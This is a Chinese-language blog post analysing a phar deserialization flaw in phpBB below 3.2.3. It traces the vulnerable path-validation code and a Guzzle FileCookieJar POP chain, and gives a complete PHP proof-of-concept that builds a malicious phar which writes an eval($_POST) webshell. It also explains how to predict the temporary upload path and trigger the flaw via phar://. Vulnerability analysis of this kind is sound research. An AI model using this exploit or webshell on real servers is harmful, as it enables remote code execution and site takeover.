Yoga7xm's Blog

phpBB 反序列化漏洞分析

字数统计: 1.5k阅读时长: 6 min
2019/06/06 Share

前言

最近刷小密圈的时候,看到了一个phar漏洞的实例,有点好奇在真实CMS中,这种反序列化如何利用,所以就来分析学习一波。

漏洞分析

phpBB是国外一个非常受欢迎的论坛CMS,3.2.3以下的版本存在phar反序列漏洞,可以在登录管理面板的情况下Get Shell

触发点

漏洞位于\includes\functions_acp.php:validate_config_vars()内,文件操作函数file_exists的变量$path可控,于是可以触发phar反序列化上传的恶意文件导致RCE

回溯可以找到调用validate_config_vars()的地方,位于includes/acp/acp_attachments.php:main()

此处$cfg_array为外界$Request[‘config’]传入并赋值为数组,可控。$display_vars[‘var’]为系统配置数组。回到validate_config_vars()

将传入的$config_vars进行遍历,然后再去判断$cfg_array()中是否存在系统配置数组键名的值,以及配置数组是否存在$config_definition[‘validate’],满足这两个条件之后开始对后者分割为数组,取其第一项为switch语句判断的值。通读全部case分句,找到利用点在wpath

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
if (!$cfg_array[$config_name])
{
break;
}
$cfg_array[$config_name] = trim($cfg_array[$config_name]);
if (strpos($cfg_array[$config_name], "\0") !== false || strpos($cfg_array[$config_name], '%00') !== false)
{
$cfg_array[$config_name] = '';
break;
}
$path = in_array($config_definition['validate'], array('wpath', 'path', 'rpath', 'rwpath')) ? $phpbb_root_path . $cfg_array[$config_name] : $cfg_array[$config_name];
if (!file_exists($path))
{
$error[] = sprintf($user->lang['DIRECTORY_DOES_NOT_EXIST'], $cfg_array[$config_name]);
}
if (file_exists($path) && !is_dir($path))
{
$error[] = sprintf($user->lang['DIRECTORY_NOT_DIR'], $cfg_array[$config_name]);
}
if ($config_definition['validate'] == 'wpath' || $config_definition['validate'] == 'rwpath' || $config_definition['validate'] === 'absolute_path_writable')
{
if (file_exists($path) && !$phpbb_filesystem->is_writable($path))
{
$error[] = sprintf($user->lang['DIRECTORY_NOT_WRITABLE'], $cfg_array[$config_name]);
}
}

这里$path会进行判断$config_definition[‘validate’]是否在wpath、path、rpath、rwpath之间,判断成功的话前缀就用$phpbb_root_path进行拼接$cfg_array[$config_name],而后者可控。

1
$phpbb_root_path = (defined('PHPBB_ROOT_PATH')) ? PHPBB_ROOT_PATH : './../';

但是在入口文件处,该变量已被赋值为./../,再与phar://拼接就不会触发反序列化操作。但是,这里的switch语句在三个case子句中,并没有使用关键词break进行结束循环,反而是继续往下执行,不会执行$path拼接操作。

这三个case为:

  • path
  • absolute_path
  • absolute_path_writable

于是在$display_vars[‘var’]中利用编辑器查找。

找到只有img_imagick满足条件,在后台控制面板中可以提交phar://路径

提交修改,抓包并断点调试,此处$path被成功赋值,也就是这里可以成功触发反序列化,但是仍需要上传恶意文件并且拿到路径,才能利用

POP链

利用插件Guzzle中一个类的析构方法作为跳板vendor/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php

在文件执行完成之后调用save(),很明显其中有file_put_contents()函数,假如俩个参数均可控就能写入Webshell。回溯其变量,$filename明显可控,而后者先是遍历$this,调用getExpires()和getDiscard(),然后转换为数组传入$json[]。FileCookieJar类是继承于CookieJar类,跟进父类

这里再遍历的时候实例化了一个SetCookie()类,然后调用setCookie(),跟进

这个方法首先根据RFC 6265检查cookie是否有效,然后解决与之前设置的cookie的冲突,最后设置Cookie,于是Json同样可控,所以file_put_contents()的两个参数只要设置变量,均可控,构造POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<?php
namespace GuzzleHttp\Cookie{
class SetCookie{
private $data=array();

public function __construct(){
$this->data = array(
'Expires' => 1,
'Discard' => null,
'Value' => '<?php phpinfo();@eval($_POST[cmd]);?>'
);
}
}

class CookieJar{
private $strictMode = null;
private $cookies =array();

public function __construct(){
$o = new SetCookie();
$this->cookies = array($o);
}

}
class FileCookieJar extends CookieJar{
private $filename = 'E:\www\WWW\phpbb3\shell.php';
}
}

namespace{

$obj = new GuzzleHttp\Cookie\FileCookieJar();
@unlink('bb.phar');
$phar = new Phar('bb.phar');
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($obj);
$phar->addFromString("poc.txt","exp");
$phar->stopBuffering();
}

已经成功构造了恶意phar文件,需要一处可以上传的地方

上传点

正好前台发帖处有个富文本编辑器可以上传附件

上传一个图片然后断点调试,可以找到处理文件上传的地方phpbb/plupload/plupload.php:handle_upload()

这里用了分片上传的处理逻辑,首先获取分片的数量,假如小于2就直接返回;否则进入多分片处理。然后依次获取上传时name、chunk、fileupload的值,获取文件目录,然后进入处理文件路径的函数temporary_filepath()中,继续跟进

这里的路径是用四个变量给拼起来的,依次来看:

  • $this->temporary_directory,通过Debug发现是./files/plupload
  • $this->config[‘plupload_salt’],这个配置项是存在数据库中的。幸运的是可以通过控制面板备份数据库获取该值25223c5f29aeb6111e86dce71db3a2a9

  • md5($file_name),file_name是文件上传时传入的,可控
  • \phpbb\files\filespec::get_extension($file_name),文件后缀名,依旧可控

所以可以完全成功拼接出上传之后的文件路径了,继续回到handle_upload(),进入了另一个函数,继续跟进

经过一系列的判断之后,进入了fopen()中,也就是刚刚的路径拼接.part后缀名作为临时文件,所以在上传文件的时候设置块数量为2,服务器就会一直等待第二块文件上传所以就不会删除临时文件

可以计算出临时文件路径和phar协议为

1
2
3
./files/plupload/25223c5f29aeb6111e86dce71db3a2a9_241aa215217fce83198ac3f187256b6bzip.part

phar://../files/plupload/25223c5f29aeb6111e86dce71db3a2a9_241aa215217fce83198ac3f187256b6bzip.part

Getshell

既然已经知道了恶意文件的路径,就直接用phar协议去加载它触发反序列化

然后访问写入的shell.php

总结

虽然POP链调用比较简单,但是利用起来还是比较复杂的,文件上传之后找临时文件位置的思路还是不错。

Reference

http://www.rai4over.cn/2019/03/15/phpBB-v3-2-X-Phar%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/

https://blog.ripstech.com/2018/phpbb3-phar-deserialization-to-remote-code-execution/

CATALOG
  1. 1. 前言
  2. 2. 漏洞分析
  3. 3. 触发点
  4. 4. POP链
  5. 5. 上传点
  6. 6. Getshell
  7. 7. 总结
  8. 8. Reference